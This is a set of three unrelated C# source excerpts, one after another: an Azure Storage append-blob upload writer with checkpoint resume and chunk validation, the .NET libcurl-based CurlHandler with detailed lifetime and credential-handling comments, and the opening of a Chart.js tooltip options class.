if (null != se.RequestInformation &&
se.RequestInformation.HttpStatusCode == (int)HttpStatusCode.NotFound)
{
existingBlob = false;
}
else if (null != se &&
(0 == string.Compare(se.Message, Constants.BlobTypeMismatch, StringComparison.OrdinalIgnoreCase)))
{
throw new InvalidOperationException(Resources.DestinationBlobTypeNotMatch);
}
else
{
throw;
}
}
this.HandleFetchAttributesResult(existingBlob);
}
private void HandleFetchAttributesResult(bool existingBlob)
{
this.destLocation.CheckedAccessCondition = true;
// If destination file exists, query user whether to overwrite it.
this.Controller.CheckOverwrite(
existingBlob,
this.SharedTransferData.SourceLocation,
this.appendBlob.Uri.ToString());
this.Controller.UpdateProgressAddBytesTransferred(0);
if (existingBlob)
{
if (this.appendBlob.Properties.BlobType == BlobType.Unspecified)
{
throw new InvalidOperationException(Resources.FailedToGetBlobTypeException);
}
if (this.appendBlob.Properties.BlobType != BlobType.AppendBlob)
{
throw new InvalidOperationException(Resources.DestinationBlobTypeNotMatch);
}
}
// We do check point consistency validation in reader, so directly use it here.
SingleObjectCheckpoint checkpoint = this.SharedTransferData.TransferJob.CheckPoint;
if ((null != checkpoint.TransferWindow)
&& (checkpoint.TransferWindow.Any()))
{
checkpoint.TransferWindow.Sort();
this.expectedOffset = checkpoint.TransferWindow[0];
}
else
{
this.expectedOffset = checkpoint.EntryTransferOffset;
}
if (0 == this.expectedOffset)
{
this.state = State.Create;
}
else
{
if (!existingBlob)
{
throw new TransferException(Resources.DestinationChangedException);
}
this.PreProcessed = true;
if (this.expectedOffset == this.SharedTransferData.TotalLength)
{
this.state = State.Commit;
}
else
{
this.state = State.UploadBlob;
}
}
this.hasWork = true;
}
private async Task CreateAsync()
{
Debug.Assert(State.Create == this.state, "Calling CreateAsync, state should be Create");
this.hasWork = false;
AccessCondition accessCondition = Utils.GenerateConditionWithCustomerCondition(
this.destLocation.AccessCondition,
true);
await this.appendBlob.CreateOrReplaceAsync(
accessCondition,
Utils.GenerateBlobRequestOptions(this.destLocation.BlobRequestOptions),
Utils.GenerateOperationContext(this.Controller.TransferContext),
this.CancellationToken);
this.PreProcessed = true;
if (this.expectedOffset == this.SharedTransferData.TotalLength)
{
this.state = State.Commit;
}
else
{
this.state = State.UploadBlob;
}
this.hasWork = true;
}
private async Task UploadBlobAsync()
{
Debug.Assert(State.UploadBlob == this.state, "Calling UploadBlobAsync, state should be UploadBlob");
this.hasWork = false;
TransferData transferData = null;
if (!this.SharedTransferData.AvailableData.TryRemove(this.expectedOffset, out transferData))
{
this.hasWork = true;
return;
}
if (null != transferData)
{
using (transferData)
{
long currentOffset = this.expectedOffset;
this.expectedOffset += transferData.Length;
transferData.Stream = new MemoryStream(transferData.MemoryBuffer, 0, transferData.Length);
AccessCondition accessCondition = Utils.GenerateConditionWithCustomerCondition(this.destLocation.AccessCondition, true) ?? new AccessCondition();
accessCondition.IfAppendPositionEqual = currentOffset;
bool needToCheckContent = false;
try
{
await this.appendBlob.AppendBlockAsync(transferData.Stream,
null,
accessCondition,
Utils.GenerateBlobRequestOptions(this.destLocation.BlobRequestOptions),
Utils.GenerateOperationContext(this.Controller.TransferContext),
this.CancellationToken);
}
catch (StorageException se)
{
if ((null != se.RequestInformation) &&
((int)HttpStatusCode.PreconditionFailed == se.RequestInformation.HttpStatusCode) &&
(null != se.RequestInformation.ExtendedErrorInformation) &&
(se.RequestInformation.ExtendedErrorInformation.ErrorCode == BlobErrorCodeStrings.InvalidAppendCondition))
{
needToCheckContent = true;
}
else
{
throw;
}
}
if (needToCheckContent &&
(!await this.ValidateUploadedChunkAsync(transferData.MemoryBuffer, currentOffset, (long)transferData.Length)))
{
throw new InvalidOperationException(Resources.DestinationChangedException);
}
lock(this.SharedTransferData.TransferJob.CheckPoint.TransferWindowLock)
{
this.SharedTransferData.TransferJob.CheckPoint.TransferWindow.Remove(currentOffset);
}
// update progress
this.Controller.UpdateProgressAddBytesTransferred(transferData.Length);
if (this.expectedOffset == this.SharedTransferData.TotalLength)
{
this.state = State.Commit;
}
this.hasWork = true;
}
}
}
private async Task CommitAsync()
{
Debug.Assert(State.Commit == this.state, "Calling CommitAsync, state should be Commit");
this.hasWork = false;
BlobRequestOptions blobRequestOptions = Utils.GenerateBlobRequestOptions(this.destLocation.BlobRequestOptions);
OperationContext operationContext = Utils.GenerateOperationContext(this.Controller.TransferContext);
if (!this.destExist)
{
await this.appendBlob.FetchAttributesAsync(
Utils.GenerateConditionWithCustomerCondition(this.destLocation.AccessCondition),
blobRequestOptions,
operationContext,
this.CancellationToken);
}
var originalMetadata = new Dictionary<string, string>(this.appendBlob.Metadata);
Utils.SetAttributes(this.appendBlob, this.SharedTransferData.Attributes);
await this.appendBlob.SetPropertiesAsync(
Utils.GenerateConditionWithCustomerCondition(this.destLocation.AccessCondition),
blobRequestOptions,
operationContext,
this.CancellationToken);
if (!originalMetadata.DictionaryEquals(this.appendBlob.Metadata))
{
await this.appendBlob.SetMetadataAsync(
Utils.GenerateConditionWithCustomerCondition(this.destLocation.AccessCondition),
blobRequestOptions,
operationContext,
this.CancellationToken);
}
this.SetFinish();
}
private async Task<bool> ValidateUploadedChunkAsync(byte[] currentData, long startOffset, long length)
{
AccessCondition accessCondition = Utils.GenerateConditionWithCustomerCondition(this.destLocation.AccessCondition, true);
OperationContext operationContext = Utils.GenerateOperationContext(this.Controller.TransferContext);
await this.appendBlob.FetchAttributesAsync(
accessCondition,
Utils.GenerateBlobRequestOptions(this.destLocation.BlobRequestOptions),
operationContext,
this.CancellationToken);
this.destExist = true;
if (this.appendBlob.Properties.Length != (startOffset + length))
{
return false;
}
byte[] buffer = new byte[length];
// Do not expect any exception here.
await this.appendBlob.DownloadRangeToByteArrayAsync(
buffer,
0,
startOffset,
length,
accessCondition,
Utils.GenerateBlobRequestOptions(this.destLocation.BlobRequestOptions),
operationContext,
this.CancellationToken);
for (int i = 0; i < length; ++i)
{
if (currentData[i] != buffer[i])
{
return false;
}
}
return true;
}
private void SetFinish()
{
this.state = State.Finished;
this.NotifyFinished(null);
this.hasWork = false;
}
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Net.Security;
using System.Runtime.CompilerServices;
using System.Security.Authentication;
using System.Security.Cryptography.X509Certificates;
using System.Threading;
using System.Threading.Tasks;
using CURLAUTH = Interop.Http.CURLAUTH;
using CURLcode = Interop.Http.CURLcode;
using CURLMcode = Interop.Http.CURLMcode;
using CURLoption = Interop.Http.CURLoption;
namespace System.Net.Http
{
// Object model:
// -------------
// CurlHandler provides an HttpMessageHandler implementation that wraps libcurl. The core processing for CurlHandler
// is handled via a CurlHandler.MultiAgent instance, where currently a CurlHandler instance stores and uses a single
// MultiAgent for the lifetime of the handler (with the MultiAgent lazily initialized on first use, so that it can
// be initialized with all of the configured options on the handler). The MultiAgent is named as such because it wraps
// a libcurl multi handle that's responsible for handling all requests on the instance. When a request arrives, it's
// queued to the MultiAgent, which ensures that a thread is running to continually loop and process all work associated
// with the multi handle until no more work is required; at that point, the thread is retired until more work arrives,
// at which point another thread will be spun up. Any number of requests will have their handling multiplexed onto
// this one event loop thread. Each request is represented by a CurlHandler.EasyRequest, so named because it wraps
// a libcurl easy handle, libcurl's representation of a request. The EasyRequest stores all state associated with
// the request, including the CurlHandler.CurlResponseMessage and CurlHandler.CurlResponseStream that are handed
// back to the caller to provide access to the HTTP response information.
//
// Lifetime:
// ---------
// The MultiAgent is initialized on first use and is kept referenced by the CurlHandler for the remainder of the
// handler's lifetime. Both are disposable, and disposing of the CurlHandler will dispose of the MultiAgent.
// However, libcurl is not thread safe in that two threads can't be using the same multi or easy handles concurrently,
// so any interaction with the multi handle must happen on the MultiAgent's thread. For this reason, the
// SafeHandle storing the underlying multi handle has its ref count incremented when the MultiAgent worker is running
// and decremented when it stops running, enabling any disposal requests to be delayed until the worker has quiesced.
// To enable that to happen quickly when a dispose operation occurs, an "incoming request" (how all other threads
// communicate with the MultiAgent worker) is queued to the worker to request a shutdown; upon receiving that request,
// the worker will exit and allow the multi handle to be disposed of.
//
// An EasyRequest itself doesn't govern its own lifetime. Since an easy handle is added to a multi handle for
// the multi handle to process, the easy handle must not be destroyed until after it's been removed from the multi handle.
// As such, once the SafeHandle for an easy handle is created, although its stored in the EasyRequest instance,
// it's also stored into a dictionary on the MultiAgent and has its ref count incremented to prevent it from being
// disposed of while it's in use by the multi handle.
//
// When a request is made to the CurlHandler, callbacks are registered with libcurl, including state that will
// be passed back into managed code and used to identify the associated EasyRequest. This means that the native
// code needs to be able both to keep the EasyRequest alive and to refer to it using an IntPtr. For this, we
// use a GCHandle to the EasyRequest. However, the native code needs to be able to refer to the EasyRequest for the
// lifetime of the request, but we also need to avoid keeping the EasyRequest (and all state it references) alive artificially.
// For the beginning phase of the request, the native code may be the only thing referencing the managed objects, since
// when a caller invokes "Task<HttpResponseMessage> SendAsync(...)", there's nothing handed back to the caller that represents
// the request until at least the HTTP response headers are received and the returned Task is completed with the response
// message object. However, after that point, if the caller drops the HttpResponseMessage, we also want to cancel and
// dispose of the associated state, which means something needs to be finalizable and not kept rooted while at the same
// time still allowing the native code to continue using its GCHandle and lookup the associated state as long as it's alive.
// Yet then when an async read is made on the response message, we want to postpone such finalization and ensure that the async
// read can be appropriately completed with control and reference ownership given back to the reader. As such, we do two things:
// we make the response stream finalizable, and we make the GCHandle be to a wrapper object for the EasyRequest rather than to
// the EasyRequest itself. That wrapper object maintains a weak reference to the EasyRequest as well as sometimes maintaining
// a strong reference. When the request starts out, the GCHandle is created to the wrapper, which has a strong reference to
// the EasyRequest (which also back references to the wrapper so that the wrapper can be accessed via it). The GCHandle is
// thus keeping the EasyRequest and all of the state it references alive, e.g. the CurlResponseStream, which itself has a reference
// back to the EasyRequest. Once the request progresses to the point of receiving HTTP response headers and the HttpResponseMessage
// is handed back to the caller, the wrapper object drops its strong reference and maintains only a weak reference. At this
// point, if the caller were to drop its HttpResponseMessage object, that would also drop the only strong reference to the
// CurlResponseStream; the CurlResponseStream would be available for collection and finalization, and its finalization would
// request cancellation of the easy request to the multi agent. The multi agent would then in response remove the easy handle
// from the multi handle and decrement the ref count on the SafeHandle for the easy handle, allowing it to be finalized and
// the underlying easy handle released. If instead of dropping the HttpResponseMessage the caller makes a read request on the
// response stream, the wrapper object is transitioned back to having a strong reference, so that even if the caller then drops
// the HttpResponseMessage, the read Task returned from the read operation will still be completed eventually, at which point
// the wrapper will transition back to being a weak reference.
//
// Even with that, of course, Dispose is still the recommended way of cleaning things up. Disposing the CurlResponseMessage
// will Dispose the CurlResponseStream, which will Dispose of the SafeHandle for the easy handle and request that the MultiAgent
// cancel the operation. Once canceled and removed, the SafeHandle will have its ref count decremented and the previous disposal
// will proceed to release the underlying handle.
internal partial class CurlHandler : HttpMessageHandler
{
#region Constants
private const char SpaceChar = ' ';
private const int StatusCodeLength = 3;
private const string UriSchemeHttp = "http";
private const string UriSchemeHttps = "https";
private const string EncodingNameGzip = "gzip";
private const string EncodingNameDeflate = "deflate";
private const int MaxRequestBufferSize = 16384; // Default used by libcurl
private const string NoTransferEncoding = HttpKnownHeaderNames.TransferEncoding + ":";
private const string NoContentType = HttpKnownHeaderNames.ContentType + ":";
private const string NoExpect = HttpKnownHeaderNames.Expect + ":";
private const int CurlAge = 5;
private const int MinCurlAge = 3;
#endregion
#region Fields
private static readonly KeyValuePair<string,CURLAUTH>[] s_orderedAuthTypes = new KeyValuePair<string, CURLAUTH>[] {
new KeyValuePair<string,CURLAUTH>("Negotiate", CURLAUTH.Negotiate),
new KeyValuePair<string,CURLAUTH>("NTLM", CURLAUTH.NTLM),
new KeyValuePair<string,CURLAUTH>("Digest", CURLAUTH.Digest),
new KeyValuePair<string,CURLAUTH>("Basic", CURLAUTH.Basic),
};
// Max timeout value used by WinHttp handler, so mapping to that here.
private static readonly TimeSpan s_maxTimeout = TimeSpan.FromMilliseconds(int.MaxValue);
private static readonly char[] s_newLineCharArray = new char[] { HttpRuleParser.CR, HttpRuleParser.LF };
private static readonly bool s_supportsAutomaticDecompression;
private static readonly bool s_supportsSSL;
private static readonly bool s_supportsHttp2Multiplexing;
private static volatile StrongBox<CURLMcode> s_supportsMaxConnectionsPerServer;
private static string s_curlVersionDescription;
private static string s_curlSslVersionDescription;
private readonly MultiAgent _agent;
private volatile bool _anyOperationStarted;
private volatile bool _disposed;
private IWebProxy _proxy = null;
private ICredentials _serverCredentials = null;
private bool _useProxy = HttpHandlerDefaults.DefaultUseProxy;
private ICredentials _defaultProxyCredentials = null;
private DecompressionMethods _automaticDecompression = HttpHandlerDefaults.DefaultAutomaticDecompression;
private bool _preAuthenticate = HttpHandlerDefaults.DefaultPreAuthenticate;
private CredentialCache _credentialCache = null; // protected by LockObject
private CookieContainer _cookieContainer = new CookieContainer();
private bool _useCookie = HttpHandlerDefaults.DefaultUseCookies;
private TimeSpan _connectTimeout = Timeout.InfiniteTimeSpan;
private bool _automaticRedirection = HttpHandlerDefaults.DefaultAutomaticRedirection;
private int _maxAutomaticRedirections = HttpHandlerDefaults.DefaultMaxAutomaticRedirections;
private int _maxConnectionsPerServer = HttpHandlerDefaults.DefaultMaxConnectionsPerServer;
private int _maxResponseHeadersLength = HttpHandlerDefaults.DefaultMaxResponseHeadersLength;
private ClientCertificateOption _clientCertificateOption = HttpHandlerDefaults.DefaultClientCertificateOption;
private X509Certificate2Collection _clientCertificates;
private Func<HttpRequestMessage, X509Certificate2, X509Chain, SslPolicyErrors, bool> _serverCertificateValidationCallback;
private bool _checkCertificateRevocationList;
private SslProtocols _sslProtocols = SslProtocols.None; // use default
private IDictionary<String, Object> _properties; // Only create dictionary when required.
private object LockObject { get { return _agent; } }
#endregion
static CurlHandler()
{
// curl_global_init call handled by Interop.LibCurl's cctor
Interop.Http.CurlFeatures features = Interop.Http.GetSupportedFeatures();
s_supportsSSL = (features & Interop.Http.CurlFeatures.CURL_VERSION_SSL) != 0;
s_supportsAutomaticDecompression = (features & Interop.Http.CurlFeatures.CURL_VERSION_LIBZ) != 0;
s_supportsHttp2Multiplexing = (features & Interop.Http.CurlFeatures.CURL_VERSION_HTTP2) != 0 && Interop.Http.GetSupportsHttp2Multiplexing();
if (NetEventSource.IsEnabled)
{
EventSourceTrace($"libcurl: {CurlVersionDescription} {CurlSslVersionDescription} {features}");
}
}
public CurlHandler()
{
_agent = new MultiAgent(this);
}
#region Properties
private static string CurlVersionDescription => s_curlVersionDescription ?? (s_curlVersionDescription = Interop.Http.GetVersionDescription() ?? string.Empty);
private static string CurlSslVersionDescription => s_curlSslVersionDescription ?? (s_curlSslVersionDescription = Interop.Http.GetSslVersionDescription() ?? string.Empty);
internal bool AutomaticRedirection
{
get { return _automaticRedirection; }
set
{
CheckDisposedOrStarted();
_automaticRedirection = value;
}
}
internal bool SupportsProxy => true;
internal bool SupportsRedirectConfiguration => true;
internal bool UseProxy
{
get { return _useProxy; }
set
{
CheckDisposedOrStarted();
_useProxy = value;
}
}
internal IWebProxy Proxy
{
get { return _proxy; }
set
{
CheckDisposedOrStarted();
_proxy = value;
}
}
internal ICredentials DefaultProxyCredentials
{
get { return _defaultProxyCredentials; }
set
{
CheckDisposedOrStarted();
_defaultProxyCredentials = value;
}
}
internal ICredentials Credentials
{
get { return _serverCredentials; }
set { _serverCredentials = value; }
}
internal ClientCertificateOption ClientCertificateOptions
{
get { return _clientCertificateOption; }
set
{
if (value != ClientCertificateOption.Manual &&
value != ClientCertificateOption.Automatic)
{
throw new ArgumentOutOfRangeException(nameof(value));
}
CheckDisposedOrStarted();
_clientCertificateOption = value;
}
}
internal X509Certificate2Collection ClientCertificates
{
get
{
if (_clientCertificateOption != ClientCertificateOption.Manual)
{
throw new InvalidOperationException(SR.Format(SR.net_http_invalid_enable_first, "ClientCertificateOptions", "Manual"));
}
if (_clientCertificates == null)
{
_clientCertificates = new X509Certificate2Collection();
}
return _clientCertificates;
}
}
internal Func<HttpRequestMessage, X509Certificate2, X509Chain, SslPolicyErrors, bool> ServerCertificateValidationCallback
{
get { return _serverCertificateValidationCallback; }
set
{
CheckDisposedOrStarted();
_serverCertificateValidationCallback = value;
}
}
internal bool CheckCertificateRevocationList
{
get { return _checkCertificateRevocationList; }
set
{
CheckDisposedOrStarted();
_checkCertificateRevocationList = value;
}
}
internal SslProtocols SslProtocols
{
get { return _sslProtocols; }
set
{
SecurityProtocol.ThrowOnNotAllowed(value, allowNone: true);
CheckDisposedOrStarted();
_sslProtocols = value;
}
}
internal bool SupportsAutomaticDecompression => s_supportsAutomaticDecompression;
internal DecompressionMethods AutomaticDecompression
{
get { return _automaticDecompression; }
set
{
CheckDisposedOrStarted();
_automaticDecompression = value;
}
}
internal bool PreAuthenticate
{
get { return _preAuthenticate; }
set
{
CheckDisposedOrStarted();
_preAuthenticate = value;
if (value && _credentialCache == null)
{
_credentialCache = new CredentialCache();
}
}
}
internal bool UseCookie
{
get { return _useCookie; }
set
{
CheckDisposedOrStarted();
_useCookie = value;
}
}
internal CookieContainer CookieContainer
{
get { return _cookieContainer; }
set
{
CheckDisposedOrStarted();
_cookieContainer = value;
}
}
internal int MaxAutomaticRedirections
{
get { return _maxAutomaticRedirections; }
set
{
if (value <= 0)
{
throw new ArgumentOutOfRangeException(nameof(value), value, SR.Format(SR.net_http_value_must_be_greater_than, 0));
}
CheckDisposedOrStarted();
_maxAutomaticRedirections = value;
}
}
internal int MaxConnectionsPerServer
{
get { return _maxConnectionsPerServer; }
set
{
if (value < 1)
{
throw new ArgumentOutOfRangeException(nameof(value), value, SR.Format(SR.net_http_value_must_be_greater_than, 0));
}
// Make sure the libcurl version we're using supports the option, by setting the value on a temporary multi handle.
// We do this once and cache the result.
StrongBox<CURLMcode> supported = s_supportsMaxConnectionsPerServer; // benign race condition to read and set this
if (supported == null)
{
using (Interop.Http.SafeCurlMultiHandle multiHandle = Interop.Http.MultiCreate())
{
s_supportsMaxConnectionsPerServer = supported = new StrongBox<CURLMcode>(
Interop.Http.MultiSetOptionLong(multiHandle, Interop.Http.CURLMoption.CURLMOPT_MAX_HOST_CONNECTIONS, value));
}
}
if (supported.Value != CURLMcode.CURLM_OK)
{
throw new PlatformNotSupportedException(CurlException.GetCurlErrorString((int)supported.Value, isMulti: true));
}
CheckDisposedOrStarted();
_maxConnectionsPerServer = value;
}
}
internal int MaxResponseHeadersLength
{
get { return _maxResponseHeadersLength; }
set
{
if (value <= 0)
{
throw new ArgumentOutOfRangeException(nameof(value), value, SR.Format(SR.net_http_value_must_be_greater_than, 0));
}
CheckDisposedOrStarted();
_maxResponseHeadersLength = value;
}
}
internal bool UseDefaultCredentials
{
get { return false; }
set { }
}
public IDictionary<string, object> Properties
{
get
{
if (_properties == null)
{
_properties = new Dictionary<String, object>();
}
return _properties;
}
}
#endregion
protected override void Dispose(bool disposing)
{
_disposed = true;
if (disposing)
{
_agent.Dispose();
}
base.Dispose(disposing);
}
protected internal override Task<HttpResponseMessage> SendAsync(
HttpRequestMessage request, CancellationToken cancellationToken)
{
if (request == null)
{
throw new ArgumentNullException(nameof(request), SR.net_http_handler_norequest);
}
if (request.RequestUri.Scheme == UriSchemeHttps)
{
if (!s_supportsSSL)
{
throw new PlatformNotSupportedException(SR.Format(SR.net_http_unix_https_support_unavailable_libcurl, CurlVersionDescription));
}
}
else
{
Debug.Assert(request.RequestUri.Scheme == UriSchemeHttp, "HttpClient expected to validate scheme as http or https.");
}
if (request.Headers.TransferEncodingChunked.GetValueOrDefault() && (request.Content == null))
{
throw new InvalidOperationException(SR.net_http_chunked_not_allowed_with_empty_content);
}
if (_useCookie && _cookieContainer == null)
{
throw new InvalidOperationException(SR.net_http_invalid_cookiecontainer);
}
CheckDisposed();
SetOperationStarted();
// Do an initial cancellation check to avoid initiating the async operation if
// cancellation has already been requested. After this, we'll rely on CancellationToken.Register
// to notify us of cancellation requests and shut down the operation if possible.
if (cancellationToken.IsCancellationRequested)
{
return Task.FromCanceled<HttpResponseMessage>(cancellationToken);
}
// Create the easy request. This associates the easy request with this handler and configures
// it based on the settings configured for the handler.
var easy = new EasyRequest(this, _agent, request, cancellationToken);
try
{
EventSourceTrace("{0}", request, easy: easy);
_agent.Queue(new MultiAgent.IncomingRequest { Easy = easy, Type = MultiAgent.IncomingRequestType.New });
}
catch (Exception exc)
{
easy.CleanupAndFailRequest(exc);
}
return easy.Task;
}
#region Private methods
private void SetOperationStarted()
{
if (!_anyOperationStarted)
{
_anyOperationStarted = true;
}
}
private KeyValuePair<NetworkCredential, CURLAUTH> GetCredentials(Uri requestUri)
{
// If preauthentication is enabled, we may have populated our internal credential cache,
// so first check there to see if we have any credentials for this uri.
if (_preAuthenticate)
{
KeyValuePair<NetworkCredential, CURLAUTH> ncAndScheme;
lock (LockObject)
{
Debug.Assert(_credentialCache != null, "Expected non-null credential cache");
ncAndScheme = GetCredentials(requestUri, _credentialCache, s_orderedAuthTypes);
}
if (ncAndScheme.Key != null)
{
return ncAndScheme;
}
}
// We either weren't preauthenticating or we didn't have any cached credentials
// available, so check the credentials on the handler.
return GetCredentials(requestUri, _serverCredentials, s_orderedAuthTypes);
}
private void TransferCredentialsToCache(Uri serverUri, CURLAUTH serverAuthAvail)
{
if (_serverCredentials == null)
{
// No credentials, nothing to put into the cache.
return;
}
lock (LockObject)
{
// For each auth type we allow, check whether it's one supported by the server.
KeyValuePair<string, CURLAUTH>[] validAuthTypes = s_orderedAuthTypes;
for (int i = 0; i < validAuthTypes.Length; i++)
{
// Is it supported by the server?
if ((serverAuthAvail & validAuthTypes[i].Value) != 0)
{
// And do we have a credential for it?
NetworkCredential nc = _serverCredentials.GetCredential(serverUri, validAuthTypes[i].Key);
if (nc != null)
{
// We have a credential for it, so add it, and we're done.
Debug.Assert(_credentialCache != null, "Expected non-null credential cache");
try
{
_credentialCache.Add(serverUri, validAuthTypes[i].Key, nc);
}
catch (ArgumentException)
{
// Ignore the case of key already present
}
break;
}
}
}
}
}
private void AddResponseCookies(EasyRequest state, string cookieHeader)
{
if (!_useCookie)
{
return;
}
try
{
_cookieContainer.SetCookies(state._requestMessage.RequestUri, cookieHeader);
state.SetCookieOption(state._requestMessage.RequestUri);
}
catch (CookieException e)
{
EventSourceTrace(
"Malformed cookie parsing failed: {0}, server: {1}, cookie: {2}",
e.Message, state._requestMessage.RequestUri, cookieHeader,
easy: state);
}
}
private static KeyValuePair<NetworkCredential, CURLAUTH> GetCredentials(Uri requestUri, ICredentials credentials, KeyValuePair<string, CURLAUTH>[] validAuthTypes)
{
NetworkCredential nc = null;
CURLAUTH curlAuthScheme = CURLAUTH.None;
if (credentials != null)
{
// For each auth type we consider valid, try to get a credential for it.
// Union together the auth types for which we could get credentials, but validate
// that the found credentials are all the same, as libcurl doesn't support differentiating
// by auth type.
for (int i = 0; i < validAuthTypes.Length; i++)
{
NetworkCredential networkCredential = credentials.GetCredential(requestUri, validAuthTypes[i].Key);
if (networkCredential != null)
{
curlAuthScheme |= validAuthTypes[i].Value;
if (nc == null)
{
nc = networkCredential;
}
else if(!AreEqualNetworkCredentials(nc, networkCredential))
{
throw new PlatformNotSupportedException(SR.Format(SR.net_http_unix_invalid_credential, CurlVersionDescription));
}
}
}
}
EventSourceTrace("Authentication scheme: {0}", curlAuthScheme);
return new KeyValuePair<NetworkCredential, CURLAUTH>(nc, curlAuthScheme); ;
}
private void CheckDisposed()
{
if (_disposed)
{
throw new ObjectDisposedException(GetType().FullName);
}
}
private void CheckDisposedOrStarted()
{
CheckDisposed();
if (_anyOperationStarted)
{
throw new InvalidOperationException(SR.net_http_operation_started);
}
}
private static void ThrowIfCURLEError(CURLcode error)
{
if (error != CURLcode.CURLE_OK) // success
{
string msg = CurlException.GetCurlErrorString((int)error, isMulti: false);
EventSourceTrace(msg);
switch (error)
{
case CURLcode.CURLE_OPERATION_TIMEDOUT:
throw new OperationCanceledException(msg);
case CURLcode.CURLE_OUT_OF_MEMORY:
throw new OutOfMemoryException(msg);
case CURLcode.CURLE_SEND_FAIL_REWIND:
throw new InvalidOperationException(msg);
default:
throw new CurlException((int)error, msg);
}
}
}
private static void ThrowIfCURLMError(CURLMcode error)
{
if (error != CURLMcode.CURLM_OK && // success
error != CURLMcode.CURLM_CALL_MULTI_PERFORM) // success + a hint to try curl_multi_perform again
{
string msg = CurlException.GetCurlErrorString((int)error, isMulti: true);
EventSourceTrace(msg);
switch (error)
{
case CURLMcode.CURLM_ADDED_ALREADY:
case CURLMcode.CURLM_BAD_EASY_HANDLE:
case CURLMcode.CURLM_BAD_HANDLE:
case CURLMcode.CURLM_BAD_SOCKET:
throw new ArgumentException(msg);
case CURLMcode.CURLM_UNKNOWN_OPTION:
throw new ArgumentOutOfRangeException(msg);
case CURLMcode.CURLM_OUT_OF_MEMORY:
throw new OutOfMemoryException(msg);
case CURLMcode.CURLM_INTERNAL_ERROR:
default:
throw new CurlException((int)error, msg);
}
}
}
private static bool AreEqualNetworkCredentials(NetworkCredential credential1, NetworkCredential credential2)
{
Debug.Assert(credential1 != null && credential2 != null, "arguments are non-null in network equality check");
return credential1.UserName == credential2.UserName &&
credential1.Domain == credential2.Domain &&
string.Equals(credential1.Password, credential2.Password, StringComparison.Ordinal);
}
// PERF NOTE:
// These generic overloads of EventSourceTrace (and similar wrapper methods in some of the other CurlHandler
// nested types) exist to allow call sites to call EventSourceTrace without boxing and without checking
// NetEventSource.IsEnabled. Do not remove these without fixing the call sites accordingly.
private static void EventSourceTrace<TArg0>(
string formatMessage, TArg0 arg0,
MultiAgent agent = null, EasyRequest easy = null, [CallerMemberName] string memberName = null)
{
if (NetEventSource.IsEnabled)
{
EventSourceTraceCore(string.Format(formatMessage, arg0), agent, easy, memberName);
}
}
private static void EventSourceTrace<TArg0, TArg1, TArg2>
(string formatMessage, TArg0 arg0, TArg1 arg1, TArg2 arg2,
MultiAgent agent = null, EasyRequest easy = null, [CallerMemberName] string memberName = null)
{
if (NetEventSource.IsEnabled)
{
EventSourceTraceCore(string.Format(formatMessage, arg0, arg1, arg2), agent, easy, memberName);
}
}
private static void EventSourceTrace(
string message,
MultiAgent agent = null, EasyRequest easy = null, [CallerMemberName] string memberName = null)
{
if (NetEventSource.IsEnabled)
{
EventSourceTraceCore(message, agent, easy, memberName);
}
}
private static void EventSourceTraceCore(string message, MultiAgent agent, EasyRequest easy, string memberName)
{
// If we weren't handed a multi agent, see if we can get one from the EasyRequest
if (agent == null && easy != null)
{
agent = easy._associatedMultiAgent;
}
NetEventSource.Log.HandlerMessage(
(agent?.RunningWorkerId).GetValueOrDefault(),
easy?.Task.Id ?? 0,
memberName,
message);
}
private static HttpRequestException CreateHttpRequestException(Exception inner)
{
return new HttpRequestException(SR.net_http_client_execution_error, inner);
}
private static IOException MapToReadWriteIOException(Exception error, bool isRead)
{
return new IOException(
isRead ? SR.net_http_io_read : SR.net_http_io_write,
error is HttpRequestException && error.InnerException != null ? error.InnerException : error);
}
private static void SetChunkedModeForSend(HttpRequestMessage request)
{
bool chunkedMode = request.Headers.TransferEncodingChunked.GetValueOrDefault();
HttpContent requestContent = request.Content;
Debug.Assert(requestContent != null, "request is null");
// Deal with conflict between 'Content-Length' vs. 'Transfer-Encoding: chunked' semantics.
// libcurl adds a Transfer-Encoding header by default and the request fails if both are set.
if (requestContent.Headers.ContentLength.HasValue)
{
if (chunkedMode)
{
// Same behaviour as WinHttpHandler
requestContent.Headers.ContentLength = null;
}
else
{
// Prevent libcurl from adding Transfer-Encoding header
request.Headers.TransferEncodingChunked = false;
}
}
else if (!chunkedMode)
{
// Make sure Transfer-Encoding: chunked header is set,
// as we have content to send but no known length for it.
request.Headers.TransferEncodingChunked = true;
}
}
#endregion
}
}
| |
using System.ComponentModel;
using Newtonsoft.Json;
namespace jamiewest.ChartJs.Options
{
[JsonObject(IsReference = false)]
public class TooltipOptions
{
/// <summary>
/// Are tooltips enabled.
/// </summary>
[DefaultValue(true)]
[JsonProperty(PropertyName = "enabled")]
public bool Enabled { get; set; } = true;
/// <summary>
/// Sets which elements appear in the tooltip.
/// </summary>
[DefaultValue("nearest")]
[JsonProperty(PropertyName = "mode")]
public string Mode { get; set; } = "nearest";
/// <summary>
/// if true, the tooltip mode applies only when the mouse
/// position intersects with an element. If false, the mode
/// will be applied at all times.
/// </summary>
[DefaultValue(true)]
[JsonProperty(PropertyName = "intersect")]
public bool Intersect { get; set; } = true;
/// <summary>
/// The mode for positioning the tooltip. 'average' mode will place
/// the tooltip at the average position of the items displayed in the
/// tooltip. 'nearest' will place the tooltip at the position of the
/// element closest to the event position. New modes can be defined by
/// adding functions to the Chart.Tooltip.positioners map..
/// </summary>
[DefaultValue("average")]
[JsonProperty(PropertyName = "position")]
public string Position { get; set; } = "average";
/// <summary>
/// Background color of the tooltip.
/// </summary>
[DefaultValue("rgba(0,0,0,0.8)")]
[JsonProperty(PropertyName = "backgroundColor")]
public string BackgroundColor { get; set; } = "rgba(0,0,0,0.8)";
/// <summary>
/// Font family for tooltip title inherited from global font family.
/// </summary>
[DefaultValue("Helvetica Neue', 'Helvetica', 'Arial', sans-serif")]
[JsonProperty(PropertyName = "titleFontFamily")]
public string TitleFontFamily { get; set; } = "Helvetica Neue', 'Helvetica', 'Arial', sans-serif";
/// <summary>
/// Font size for tooltip title inherited from global font size.
/// </summary>
[DefaultValue(12)]
[JsonProperty(PropertyName = "titleFontSize")]
public int TitleFontSize { get; set; } = 12;
/// <summary>
/// Font family for tooltip title inherited from global font family.
/// </summary>
[DefaultValue("bold")]
[JsonProperty(PropertyName = "titleFontStyle")]
public string TitleFontStyle { get; set; } = "bold";
/// <summary>
/// Font color for tooltip title.
/// </summary>
[DefaultValue("#fff")]
